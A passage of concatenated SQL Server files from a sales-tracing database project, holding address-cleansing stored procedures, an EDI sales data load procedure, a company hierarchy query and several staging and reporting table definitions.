JOIN REF.ADDR_STD A ON ST_1 LIKE A.ADDR_VAR+'%'
WHERE ST_1 IS NOT NULL AND CAT LIKE 'ADDR2%'
AND ADDR_TYP = 'FLOOR';
-- Take out floors from Addr Line 2
UPDATE T
SET ADDR_2_CNDT = ADDR_STD,
ADDR1 = STAGE.fnGet_FirstPart(ADDR1,CHARINDEX(' '+A.ADDR_VAR, ADDR1)),
ST_2 = STAGE.fnGet_FirstPart(ST_2,CHARINDEX(' '+A.ADDR_VAR, ST_2))
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON ST_2 LIKE '% '+A.ADDR_VAR+'%'
WHERE CAT LIKE 'ADDR2%'
AND ADDR_TYP = 'FLOOR';
UPDATE T
SET
ADDR_2_CNDT = ADDR_STD, ADDR1 = NULL ,
ST_2 = NULL
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON ST_2 LIKE A.ADDR_VAR+'%'
WHERE ST_2 IS NOT NULL AND CAT LIKE 'ADDR2%'
AND ADDR_TYP = 'FLOOR';
-- Do the same for Addr Line 2
UPDATE T
SET
ADDR_2_CNDT = CASE WHEN A.CAT = 'ADDR2_KEEP' THEN RIGHT( ADDR2 ,LEN( ADDR2)-charindex(A.ADDR_VAR, ADDR2)+1)
WHEN A.CAT = 'ADDR2_REMOVE' THEN NULL END,
ST_2 = NULL ,ADDR2 = NULL
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON ADDR2 LIKE A.ADDR_VAR+'%' AND charindex(A.ADDR_VAR, ADDR2)>0
WHERE
ADDR2 IS NOT NULL
AND A.CAT LIKE 'ADDR2%';
-- Remove junk or what should be in address 2, but is inside addr1 or 2
UPDATE T
SET
ADDR_2_CNDT = CASE WHEN A.CAT = 'ADDR2_KEEP' THEN RIGHT(ADDR1 ,LEN(ADDR1)-charindex(A.ADDR_VAR,ADDR1)+1)
WHEN A.CAT= 'ADDR2_REMOVE' THEN NULL END,
ADDR1 = STAGE.fnGet_FirstPart(ADDR1,CHARINDEX(' '+A.ADDR_VAR, ADDR1)), --- REMOVE THIS ONE IF NOT NEEDED
ST_1 = STAGE.fnGet_FirstPart(ST_1 ,CHARINDEX(' '+A.ADDR_VAR, ST_1))
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON ADDR1 LIKE '% '+A.ADDR_VAR+'%' AND charindex(A.ADDR_VAR,ADDR1)>0
WHERE
ADDR1 IS NOT NULL
AND A.CAT LIKE 'ADDR2%';
UPDATE T
SET
ADDR_2_CNDT = CASE WHEN A.CAT = 'ADDR2_KEEP' THEN RIGHT(ADDR2 ,LEN(ADDR2)-charindex(A.ADDR_VAR,ADDR2)+1)
WHEN A.CAT= 'ADDR2_REMOVE' THEN NULL END,
ADDR2 = STAGE.fnGet_FirstPart(ADDR2,CHARINDEX(' '+A.ADDR_VAR, ADDR2)), --- REMOVE THIS ONE IF NOT NEEDED
ST_2 = STAGE.fnGet_FirstPart(ST_2 ,CHARINDEX(' '+A.ADDR_VAR, ST_2))
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON ADDR2 LIKE '% '+A.ADDR_VAR+'%' AND charindex(A.ADDR_VAR,ADDR2)>0
WHERE
ADDR2 IS NOT NULL
AND A.CAT LIKE 'ADDR2%';
-- MAKE THE ADDR2 STANDARD - Suite to STE, Building to BLDG
UPDATE E
SET ADDR_2_CNDT = REPLACE(ADDR_2_CNDT,LEFT(ADDR_2_CNDT,charindex(' ',ADDR_2_CNDT)),A.ADDR_STD)
FROM STAGE.TEMP_ADDR_LAUNDRY E
JOIN REF.ADDR_STD A ON LTRIM(RTRIM(LEFT(ADDR_2_CNDT,charindex(' ',ADDR_2_CNDT)))) = A.ADDR_VAR
WHERE ADDR_2_CNDT IS NOT NULL
AND CAT = 'ADDR2_KEEP'
;
-- This will take care of Floor
UPDATE E
SET ADDR_2_CNDT = A.ADDR_STD
FROM STAGE.TEMP_ADDR_LAUNDRY E
JOIN REF.ADDR_STD A ON LTRIM(RTRIM(ADDR_2_CNDT)) = A.ADDR_VAR
WHERE
ADDR_2_CNDT IS NOT NULL
AND CAT = 'ADDR2_KEEP';
------------------------------------------------------------
--- FIX ROADWAY - DIRECTION ETC
--------------------------------------------------------------
-- Find the street type and street name
-- EXEC [STAGE].[spCLEANSE_FOR_ROADWAY];
UPDATE T
SET
ST_TYP_1 = A.ADDR_STD,
ST_NM_1 = STAGE.fnGet_FirstPart(T.ST_1, LEN(T.ST_1)-LEN(A.ADDR_VAR)),
ADDR_SRC_CNFD = 100, ADDR_SRCE = 1
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON LTRIM(RTRIM(STAGE.fnLastWord(T.ST_1))) = LTRIM(RTRIM(A.ADDR_VAR)) AND A.CAT IN ('Location','Roadway')
WHERE T.ST_1 IS NOT NULL ;
UPDATE T
SET
ST_TYP_1 = A.ADDR_STD,
ST_NM_1 = STAGE.fnGet_FirstPart(T.ST_1, CHARINDEX(' '+A.ADDR_VAR+' ', ST_1)),
SUFFIX = LTRIM(STAGE.fnSecondPart(ST_1, CHARINDEX(' '+A.ADDR_VAR+' ', ST_1)+LEN(A.ADDR_VAR)+1)),
ADDR_SRC_CNFD = 100, ADDR_SRCE = 1
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON T.ST_1 LIKE '% '+A.ADDR_VAR+' %' AND A.CAT = 'Roadway'
WHERE T.ST_1 IS NOT NULL
AND ADDR_SRCE IS NULL
AND LTRIM(RTRIM(A.ADDR_VAR)) <> 'ST';
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET
ST_TYP_1 = 'ST',
ST_NM_1 = RTRIM(LEFT(ST_1,STAGE.fnFind_Rdwy_Pos(ST_1,'ST'))),
SUFFIX = LTRIM(RIGHT(ST_1, LEN(ST_1)-STAGE.fnFind_Rdwy_Pos(ST_1,'ST')-LEN('ST'))),
ADDR_SRC_CNFD = 100, ADDR_SRCE = 1
WHERE ST_1 LIKE '% ST %'
AND ST_1 IS NOT NULL
AND ADDR_SRCE IS NULL;
UPDATE T
SET
ST_TYP_1 = A.ADDR_STD,
ST_NM_1 = NULL,
SUFFIX = LTRIM(RTRIM(STAGE.fnSecondPart(ST_1, LEN(A.ADDR_VAR)+1))),
ADDR_SRC_CNFD = 100, ADDR_SRCE = 1
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON STAGE.fnFirstWord(ST_1) = A.ADDR_VAR
WHERE A.CAT = 'Roadway'
AND ST_1 IS NOT NULL
AND ADDR_SRCE IS NULL
AND STAGE.fnFirstWord(ST_1) <> 'ST';
-- MAKE FINAL UPDATED ADDRESS
-- NEED TO FIX ST_1, AND/OR SUFFIX FOR DORECTIONS N, W,
UPDATE T
SET T.SUFFIX = REPLACE(SUFFIX,A.ADDR_VAR, A.ADDR_STD) ,
SUFFIX_VLD_IN = 'Y'
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON LTRIM(RTRIM(SUFFIX)) = A.ADDR_VAR
WHERE SUFFIX IS NOT NULL
AND ADDR_TYP = 'DIRECTION';
UPDATE T
SET T.SUFFIX = REPLACE(SUFFIX,A.ADDR_VAR, A.ADDR_STD),
SUFFIX_VLD_IN = 'Y'
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON LTRIM(RTRIM(STAGE.fnFirstWord(SUFFIX))) = A.ADDR_VAR
WHERE SUFFIX IS NOT NULL
AND CAT = 'Roadway';
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET SUFFIX_VLD_IN = 'Y'
FROM STAGE.TEMP_ADDR_LAUNDRY T
WHERE ISNUMERIC(LTRIM(RTRIM(STAGE.fnFirstWord(SUFFIX)))) = 1
AND LEFT(LTRIM(RTRIM(SUFFIX)),1) NOT IN ('-','+','$');
UPDATE T
SET T.SUFFIX = REPLACE(SUFFIX,A.ADDR_VAR, A.ADDR_STD)
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON LTRIM(RTRIM(SUFFIX)) LIKE '% '+A.ADDR_VAR
WHERE SUFFIX IS NOT NULL
AND ADDR_TYP = 'DIRECTION'
AND ST_NR_1 IS NOT NULL
AND SUFFIX_VLD_IN = 'Y';
-- REMOVE BUILDING SUITES ETC FROM SUFFIX FOR VALID SUFFIXES
UPDATE T
SET ADDR_2_CNDT = CASE WHEN ADDR_2_CNDT IS NULL THEN ADDR_STD ELSE ADDR_2_CNDT END,
SUFFIX = STAGE.fnGet_FirstPart(SUFFIX,CHARINDEX(' '+A.ADDR_VAR, SUFFIX))
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON SUFFIX LIKE '% '+A.ADDR_VAR+'%'
WHERE CAT LIKE 'ADDR2%'
AND ADDR_TYP = 'FLOOR'
AND SUFFIX_VLD_IN = 'Y';
UPDATE T
SET
ADDR_2_CNDT = CASE WHEN A.CAT = 'ADDR2_KEEP' AND ADDR_2_CNDT IS NULL
THEN RIGHT(SUFFIX,LEN(SUFFIX)-charindex(A.ADDR_VAR,SUFFIX)+1)
ELSE ADDR_2_CNDT END,
SUFFIX = STAGE.fnGet_FirstPart(SUFFIX,CHARINDEX(' '+A.ADDR_VAR, SUFFIX))
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON SUFFIX LIKE '% '+A.ADDR_VAR+'%' AND charindex(A.ADDR_VAR,SUFFIX)>0
WHERE
ADDR1 IS NOT NULL
AND A.CAT LIKE 'ADDR2%'
AND SUFFIX_VLD_IN = 'Y';
-- MAKE THE ADDR2 STANDARD - Suite to STE, Building to BLDG
UPDATE E
SET ADDR_2_CNDT = REPLACE(ADDR_2_CNDT,LEFT(ADDR_2_CNDT,charindex(' ',ADDR_2_CNDT)),A.ADDR_STD)
FROM STAGE.TEMP_ADDR_LAUNDRY E
JOIN REF.ADDR_STD A ON LTRIM(RTRIM(LEFT(ADDR_2_CNDT,charindex(' ',ADDR_2_CNDT)))) = A.ADDR_VAR
WHERE ADDR_2_CNDT IS NOT NULL
AND CAT = 'ADDR2_KEEP'
;
-- This will take care of Floor
UPDATE E
SET ADDR_2_CNDT = A.ADDR_STD
FROM STAGE.TEMP_ADDR_LAUNDRY E
JOIN REF.ADDR_STD A ON LTRIM(RTRIM(ADDR_2_CNDT)) = A.ADDR_VAR
WHERE
ADDR_2_CNDT IS NOT NULL
AND CAT = 'ADDR2_KEEP';
----------------------------------------------------------------
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET UPD_ADDR1 = STAGE.fnRemoveSpace (ST_NR_1+' '+ST_NM_1+' '+ST_TYP_1
+ ' '+CASE WHEN SUFFIX_VLD_IN = 'Y' THEN SUFFIX ELSE '' END)
WHERE ADDR_SRCE = 1 ;
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET UPD_ADDR2 = STAGE.fnRemoveSpace (ADDR_2_CNDT) --- WE dont need this second filed, we could save it to upd_addr2 from begining
WHERE ADDR_2_CNDT IS NOT NULL;
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET UPD_ADDR1 = STAGE.fnRemoveSpace (ST_NR_1+' '+ST_1)
WHERE ST_NR_1 IS NOT NULL AND UPD_ADDR1 IS NULL ;
UPDATE T
SET T.CITY = Z.City
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ZIP_CODE Z ON LEFT(LTRIM(T.ZIP),5) = Z.Zipcode AND Z.LocationType = 'PRIMARY'
WHERE T.CITY=Z.City;
END;<file_sep>/PDI_SALESTRACING_DEV/PCM/Tables/PCM_CNT_USR.sql
CREATE TABLE [PCM].[PCM_CNT_USR] (
[CNT_USR_ID] INT IDENTITY (1, 1) NOT NULL,
[CNT_NR] VARCHAR (20) NULL,
[USR_ID] VARCHAR (20) NULL,
[ACTIVE_IN] CHAR (1) NULL,
[CREAT_TS] DATETIME NULL,
[LAST_MOD_TS] DATETIME NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/GPO_MMBR_DHC.sql
CREATE TABLE [STG0].[GPO_MMBR_DHC] (
[GPO_MMBR_DHC_ID] INT IDENTITY (1, 1) NOT NULL,
[GPO_NM] VARCHAR (MAX) NULL,
[DHC_ID] INT NULL,
[CMPNY_NM] VARCHAR (MAX) NULL,
[REL_TYP] VARCHAR (MAX) NULL,
[CMPNY_TYP] VARCHAR (MAX) NULL,
[ADDR1] VARCHAR (MAX) NULL,
[ADDR2] VARCHAR (MAX) NULL,
[CITY] VARCHAR (MAX) NULL,
[ST] VARCHAR (20) NULL,
[ZIP] VARCHAR (20) NULL,
[TEL_NR] VARCHAR (20) NULL,
[NTWROK_ID] INT NULL,
[NTWRK_NM] VARCHAR (MAX) NULL,
[NTWRK_PRNT_ID] INT NULL,
[NTWRK_PRNT_NM] VARCHAR (MAX) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/MDM_STAGE/Tables/CMS_ADDR_REMAINING.sql
CREATE TABLE [MDM_STAGE].[CMS_ADDR_REMAINING] (
[SRC_ID] INT NOT NULL,
[ADDR_1] VARCHAR (255) NOT NULL,
[ADDR_2] VARCHAR (255) NULL,
[ST_NR] VARCHAR (100) NULL,
[DIR_1] VARCHAR (20) NULL,
[ST_NR_2] VARCHAR (10) NULL,
[ST_NM] VARCHAR (255) NULL,
[ST_TYP] VARCHAR (100) NULL,
[HWY_NR] VARCHAR (50) NULL,
[DIR_2] VARCHAR (20) NULL,
[ADDR_TYP] VARCHAR (50) NULL,
[BLDG_NR] VARCHAR (50) NULL,
[FL_NR] VARCHAR (50) NULL,
[STE_NR] VARCHAR (50) NULL,
[ZIP] VARCHAR (10) NULL,
[LW_1] VARCHAR (100) NULL,
[LW_2] VARCHAR (100) NULL,
[STAT_1_CD] SMALLINT NULL,
[STAT_2_CD] SMALLINT NULL,
[WB_1] VARCHAR (200) NULL,
[WB_2] VARCHAR (200) NULL,
[WC_1] VARCHAR (200) NULL,
[WC_2] VARCHAR (100) NULL,
[HWY_IN] CHAR (1) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spLOAD_EDI_DATA.sql
CREATE PROCEDURE [STAGE].[spLOAD_EDI_DATA]
@vDist_NM varchar(20), @vYYYYMM char(6)
WITH EXEC AS CALLER
AS
BEGIN
BEGIN
MERGE [STAGE].[SLS_TRC_LOAD_DTL] T
USING (
SELECT DI.DIST_ID AS DIST_ID,
HDRCUS AS DIST_TRC_NM,
convert(int,replace(CONVERT(DATE, left(H.[current timestamp],10)),'-','')) AS RECVD_DTE,
--LEFT(H.[current timestamp],4)+'-'+SUBSTRING(H.[current timestamp],6,2)+'-'+SUBSTRING(H.[current timestamp],9,2) AS RECVD_DTE_DISPLY,
'PENDING' AS LOAD_STAT, 'EDI' AS SRC_FILE_TYP,
MAX(CAST((S.INVDTE/100) as INTEGER)) AS SALES_PERIOD, COUNT(S.SDDSEQ) AS REC_CNT
FROM
FTPOUT.E867HDR_DAILY_HIST H
JOIN FTPOUT.E867DTL_DAILY_HIST D ON H.HDRSEQ = D.DTLSEQ AND H.HDRCUS = D.DTLCUS
JOIN FTPOUT.E867SDTL_DAILY_HIST S ON D.DDLSEQ = S.SDLSEQ AND D.DTLCUS = S.SDTCUS
JOIN STAGE.DIM_DISTRIBUTOR DI ON H.HDRCUS = DI.TRACING_NAME
WHERE
LEFT(H.[current timestamp],4) = LEFT(@vYYYYMM,4)
AND SUBSTRING(H.[current timestamp],6,2) = RIGHT(@vYYYYMM,2)
AND HDRCUS = isnull(@vDIst_NM,HDRCUS)
AND HDRCUS NOT IN ('GHX HCA') -- NOT IN ('CARDINAL', 'OWENS','SENECA')
GROUP BY
DI.DIST_ID, H.HDRCUS,
convert(int,replace(CONVERT(DATE, left(H.[current timestamp],10)),'-',''))
) S ON T.DIST_ID = S.DIST_ID AND T.RECVD_DTE = S.RECVD_DTE
WHEN MATCHED THEN UPDATE SET LOAD_STAT = 'PENDING'
WHEN NOT MATCHED BY TARGET THEN -- That means it is a new Contract
INSERT
( DIST_ID, DIST_TRC_NM, SALES_PERIOD, RECVD_DTE, LOAD_STAT,SRC_FILE_TYP, REC_CNT)
VALUES
( DIST_ID, DIST_TRC_NM, SALES_PERIOD, RECVD_DTE, LOAD_STAT,SRC_FILE_TYP, REC_CNT);
END
UPDATE [STAGE].[SLS_TRC_LOAD_DTL]
SET SALES_PERIOD =case when len(SALES_PERIOD)=6 then SALES_PERIOD*100+1
else SALES_PERIOD end;
DELETE C FROM [STAGE].[SALES_TRACING_CURR] C
INNER JOIN [STAGE].[SLS_TRC_LOAD_DTL] L
ON C.DIST_NR = L.DIST_ID
AND C.LOAD_ID = L.LOAD_ID
AND L.LOAD_STAT = 'PENDING' AND L.SRC_FILE_TYP = 'EDI' ;
INSERT INTO [STAGE].[SALES_TRACING_CURR]
([YEAR], [MNTH],[DAY],[SALES_PERIOD], [DIST_NR], [DIST_ID], [RPT_DT], [INV_ID],
[INV_DT],
[INV_DT_NR], [TRC_TRNS_TYP],
[TRC_CNT_ID], [TRC_PROD_ID], [TRC_QTY_SLD], [TRC_UNIT], [CTPRC], [DIPRC], [CAPRC],
[TRC_RBT_AMT], EDISDTLSEQ, [SHPTO_ID], EDIDTLSEQ, [SRC_FILE_TYP],SLS_CALC_STAT, RBT_CALC_STAT, [CURRENT TIMESTAMP], [LOAD_ID] )
SELECT
LEFT(H.[current timestamp],4), SUBSTRING(H.[current timestamp],6,2),SUBSTRING(H.[current timestamp],9,2),
C.SALES_PERIOD , C.DIST_ID AS [DIST_NR], H.HDRCUS AS [DIST_ID], H.RPTDTE as [RPT_DT], S.DIDESC AS [INV_ID],
CONVERT(DATE,LEFT(S.INVDTE,4)+'-'+LEFT(RIGHT(S.INVDTE,4),2)+'-'+RIGHT(S.INVDTE,2)),
S.INVDTE AS [INV_DT_NR],
D.PTDTYP as [TRC_TRNS_TYP],
S.BCDESC AS [TRC_CNT_ID], S.SELNUM AS [TRC_Prod_ID], S.QTYSLD AS [TRC_QTY_SLD], S.QTYSUM AS [TRC UNIT],
S.CTPRC, S.DIPRC, S.CAPRC, [AMTCT$] AS [Rebate Amount], S.SLLSEQ, D.STCODE, S.SDLSEQ, 'EDI','P','P', CURRENT_TIMESTAMP, C.LOAD_ID
FROM PDI_SALESTRACING_dev.FTPOUT.E867HDR_DAILY_HIST H
JOIN PDI_SALESTRACING_dev.FTPOUT.E867DTL_DAILY_HIST D ON H.HDRCUS = D.DTLCUS AND H.HDRSEQ = D.DTLSEQ
JOIN PDI_SALESTRACING_dev.FTPOUT.E867SDTL_DAILY_HIST S ON D.DTLCUS = S.SDTCUS AND D.DDLSEQ = S.SDLSEQ
JOIN [STAGE].[SLS_TRC_LOAD_DTL] C
ON H.HDRCUS = C.DIST_TRC_NM
AND convert(int,replace(CONVERT(DATE, left(H.[current timestamp],10)),'-','')) = C.RECVD_DTE
AND C.LOAD_STAT = 'PENDING'
WHERE D.[PTDTYP] NOT IN ('IB') ;
UPDATE [STAGE].[SLS_TRC_LOAD_DTL]
SET LOAD_STAT = 'COMPLETE'
WHERE LOAD_STAT = 'PENDING';
END<file_sep>/PDI_SALESTRACING_DEV/dbo/Stored Procedures/tree.sql
CREATE Proc tree
AS
WITH tr AS
(SELECT IDN_CMPNY_ID,IDN_PRNT_CMPNY_ID,CMPNY_ID ,0 as prnt
FROM cmpny.COmpany
UNION ALL
SELECT c.IDN_CMPNY_ID,c.IDN_PRNT_CMPNY_ID,c.CMPNY_ID , p.prnt +1
FROM cmpny.COmpany c
INNER JOIN tr as p
ON p.IDN_PRNT_CMPNY_ID = c.CMPNY_ID
WHERE c.CMPNY_ID IS NOT NULL)
SELECT * FROM tr as l
ORDER BY prnt<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spCLEANSE_FOR_ADDR2.sql
CREATE PROCEDURE [STAGE].[spCLEANSE_FOR_ADDR2]
WITH EXEC AS CALLER
AS
BEGIN
-- Take out floors from Addr Line 1
UPDATE T
SET ADDR_2_CNDT = ADDR_STD,
ADDR1 = STAGE.fnGet_FirstPart(ADDR1,CHARINDEX(' '+A.ADDR_VAR, ADDR1)),
ST_1 = STAGE.fnGet_FirstPart(ST_1,CHARINDEX(' '+A.ADDR_VAR, ST_1))
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON ST_1 LIKE '% '+A.ADDR_VAR+'%'
WHERE CAT LIKE 'ADDR2%'
AND ADDR_TYP = 'FLOOR';
UPDATE T
SET
ADDR_2_CNDT = ADDR_STD,
ADDR1 = NULL ,
ST_1 = NULL
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON ST_1 LIKE A.ADDR_VAR+'%'
WHERE ST_1 IS NOT NULL AND CAT LIKE 'ADDR2%'
AND ADDR_TYP = 'FLOOR';
-- Take out floors from Addr Line 2
UPDATE T
SET ADDR_2_CNDT = ADDR_STD,
ADDR1 = STAGE.fnGet_FirstPart(ADDR1,CHARINDEX(' '+A.ADDR_VAR, ADDR1)),
ST_2 = STAGE.fnGet_FirstPart(ST_2,CHARINDEX(' '+A.ADDR_VAR, ST_2))
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON ST_2 LIKE '% '+A.ADDR_VAR+'%'
WHERE CAT LIKE 'ADDR2%'
AND ADDR_TYP = 'FLOOR';
UPDATE T
SET
ADDR_2_CNDT = ADDR_STD, ADDR1 = NULL ,
ST_2 = NULL
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON ST_2 LIKE A.ADDR_VAR+'%'
WHERE ST_2 IS NOT NULL AND CAT LIKE 'ADDR2%'
AND ADDR_TYP = 'FLOOR';
-- Remove what should be in Addr Line 2 but addr1 starts with it
UPDATE T
SET
ADDR_2_CNDT = CASE WHEN A.CAT = 'ADDR2_KEEP' THEN RIGHT( ADDR1 ,LEN( ADDR1)-charindex(A.ADDR_VAR, ADDR1)+1)
WHEN A.CAT = 'ADDR2_REMOVE' THEN NULL END,
ST_1 = NULL ,ADDR1 = NULL
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON ADDR1 LIKE A.ADDR_VAR+'%' AND charindex(A.ADDR_VAR, ADDR1)>0
WHERE
ADDR1 IS NOT NULL
AND A.CAT LIKE 'ADDR2%';
-- Do the same for Addr Line 2
UPDATE T
SET
ADDR_2_CNDT = CASE WHEN A.CAT = 'ADDR2_KEEP' THEN RIGHT( ADDR2 ,LEN( ADDR2)-charindex(A.ADDR_VAR, ADDR2)+1)
WHEN A.CAT = 'ADDR2_REMOVE' THEN NULL END,
ST_2 = NULL ,ADDR2 = NULL
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON ADDR2 LIKE A.ADDR_VAR+'%' AND charindex(A.ADDR_VAR, ADDR2)>0
WHERE
ADDR2 IS NOT NULL
AND A.CAT LIKE 'ADDR2%';
-- Remove junk or what should be in address 2, but is inside addr1 or 2
UPDATE T
SET
ADDR_2_CNDT = CASE WHEN A.CAT = 'ADDR2_KEEP' THEN RIGHT(ADDR1 ,LEN(ADDR1)-charindex(A.ADDR_VAR,ADDR1)+1)
WHEN A.CAT= 'ADDR2_REMOVE' THEN NULL END,
ADDR1 = STAGE.fnGet_FirstPart(ADDR1,CHARINDEX(' '+A.ADDR_VAR, ADDR1)), --- REMOVE THIS ONE IF NOT NEEDED
ST_1 = STAGE.fnGet_FirstPart(ST_1 ,CHARINDEX(' '+A.ADDR_VAR, ST_1))
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON ADDR1 LIKE '% '+A.ADDR_VAR+'%' AND charindex(A.ADDR_VAR,ADDR1)>0
WHERE
ADDR1 IS NOT NULL
AND A.CAT LIKE 'ADDR2%';
UPDATE T
SET
ADDR_2_CNDT = CASE WHEN A.CAT = 'ADDR2_KEEP' THEN RIGHT(ADDR2 ,LEN(ADDR2)-charindex(A.ADDR_VAR,ADDR2)+1)
WHEN A.CAT= 'ADDR2_REMOVE' THEN NULL END,
ADDR2 = STAGE.fnGet_FirstPart(ADDR2,CHARINDEX(' '+A.ADDR_VAR, ADDR2)), --- REMOVE THIS ONE IF NOT NEEDED
ST_2 = STAGE.fnGet_FirstPart(ST_2 ,CHARINDEX(' '+A.ADDR_VAR, ST_2))
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON ADDR2 LIKE '% '+A.ADDR_VAR+'%' AND charindex(A.ADDR_VAR,ADDR2)>0
WHERE
ADDR2 IS NOT NULL
AND A.CAT LIKE 'ADDR2%';
-- MAKE THE ADDR2 STANDARD - Suite to STE, Building to BLDG
UPDATE E
SET ADDR_2_CNDT = REPLACE(ADDR_2_CNDT,LEFT(ADDR_2_CNDT,charindex(' ',ADDR_2_CNDT)),A.ADDR_STD)
FROM STAGE.TEMP_ADDR_LAUNDRY E
JOIN REF.ADDR_STD A ON LTRIM(RTRIM(LEFT(ADDR_2_CNDT,charindex(' ',ADDR_2_CNDT)))) = A.ADDR_VAR
WHERE ADDR_2_CNDT IS NOT NULL
AND CAT = 'ADDR2_KEEP'
;
-- This will take care of Floor
UPDATE E
SET ADDR_2_CNDT = A.ADDR_STD
FROM STAGE.TEMP_ADDR_LAUNDRY E
JOIN REF.ADDR_STD A ON LTRIM(RTRIM(ADDR_2_CNDT)) = A.ADDR_VAR
WHERE
ADDR_2_CNDT IS NOT NULL
AND CAT = 'ADDR2_KEEP';
END<file_sep>/PDI_SALESTRACING_DEV/CNT/Stored Procedures/spSAVE_PROD_RATIONALE.sql
CREATE PROCEDURE [CNT].[spSAVE_PROD_RATIONALE]
@cntNr varchar(7),
@prodId varchar(7),
@rationale varchar(500)
AS
BEGIN
SET NOCOUNT ON;
update [CNT].[PROD_RATIONALE] Set [REC_STAT_CD] = 'I', [REC_EXP_DT]='12/31/9999'
Where [CNT_NR]= @cntNr and [PROD_ID] =@prodId
INSERT INTO [CNT].[PROD_RATIONALE]
([CNT_NR]
,[PROD_ID]
,[RATIONALE]
,[REC_EFF_DT]
,[REC_EXP_DT]
,[REC_STAT_CD])
VALUES(
@cntNr,
@prodId,
@rationale,
CONVERT(DATE, GETDATE()),
CONVERT(DATE, '9999-12-31'),
'A')
END
--select * from [CNT].[PROD_RATIONALE]<file_sep>/PDI_SALESTRACING_DEV/REPORT/Tables/DIM_ENDUSER.sql
CREATE TABLE [REPORT].[DIM_ENDUSER] (
[ENDUSER_KEY] INT NOT NULL,
[ENDUSER_ID] VARCHAR (150) NOT NULL,
[ENDUSER_SOURCE_TYPE] CHAR (6) NOT NULL,
[ENDUSER_NAME] VARCHAR (150) NULL,
[ENDUSER_ADDR1] VARCHAR (100) NULL,
[ENDUSER_ADDR2] VARCHAR (100) NULL,
[ENDUSER_ADDR3] VARCHAR (50) NULL,
[ENDUSER_CITY] VARCHAR (50) NULL,
[ENDUSER_STATE] VARCHAR (50) NULL,
[ENDUSER_ZIP] NCHAR (20) NULL,
[ENDUSER_COUNTRY] VARCHAR (100) NULL,
[HIN_NO] VARCHAR (20) NULL,
[DEA_NO] VARCHAR (20) NULL,
[GLN_NO] VARCHAR (20) NULL,
[MAX_COMPANY_TYPE] VARCHAR (50) NULL,
[DDS_COMPANY_TYPE] VARCHAR (50) NULL,
[PDI_COMPANY_TYPE] VARCHAR (50) NULL,
[L1_IDN_ID] VARCHAR (50) NULL,
[L1_IDN_NAME] VARCHAR (150) NULL,
[L1_IDN_TYPE] VARCHAR (50) NULL,
[L1_IDN_RELATIONSHIP_TYPE] VARCHAR (20) NULL,
[L1_IDN_GPO_ID] VARCHAR (20) NULL,
[L1_IDN_GPO_NAME] VARCHAR (50) NULL,
[L2_IDN_ID] VARCHAR (50) NULL,
[L2_IDN_NAME] VARCHAR (150) NULL,
[L2_IDN_TYPE] VARCHAR (50) NULL,
[L2_IDN_RELATIONSHIP_TYPE] VARCHAR (20) NULL,
[L2_IDN_GPO_ID] VARCHAR (20) NULL,
[L2_IDN_GPO_NAME] VARCHAR (50) NULL,
[L3_IDN_ID] VARCHAR (50) NULL,
[L3_IDN_NAME] VARCHAR (150) NULL,
[L3_IDN_TYPE] VARCHAR (50) NULL,
[L3_IDN_RELATIONSHIP_TYPE] VARCHAR (20) NULL,
[L3_IDN_GPO_ID] VARCHAR (20) NULL,
[L3_IDN_GPO_NAME] VARCHAR (50) NULL,
[L1_ENDUSER_PARENT_ID] VARCHAR (150) NULL,
[L1_ENDUSER_PARENT_NAME] VARCHAR (150) NULL,
[L1_ENDUSER_PARENT_CITY] VARCHAR (50) NULL,
[L1_ENDUSER_PARENT_PDI_TYPE] VARCHAR (50) NULL,
[L1_ENDUSER_PARENT_RELATIONSHIP_TYPE] VARCHAR (20) NULL,
[L2_ENDUSER_PARENT_ID] VARCHAR (150) NULL,
[L2_ENDUSER_PARENT_NAME] VARCHAR (150) NULL,
[L2_ENDUSER_PARENT_CITY] VARCHAR (50) NULL,
[L2_ENDUSER_PARENT_PDI_TYPE] VARCHAR (50) NULL,
[L2_ENDUSER_PARENT_RELATIONSHIP_TYPE] VARCHAR (20) NULL,
[L3_ENDUSER_PARENT_ID] VARCHAR (150) NULL,
[L3_ENDUSER_PARENT_NAME] VARCHAR (150) NULL,
[L3_ENDUSER_PARENT_CITY] VARCHAR (50) NULL,
[L3_ENDUSER_PARENT_PDI_TYPE] VARCHAR (50) NULL,
[L3_ENDUSER_PARENT_RELATIONSHIP_TYPE] VARCHAR (20) NULL,
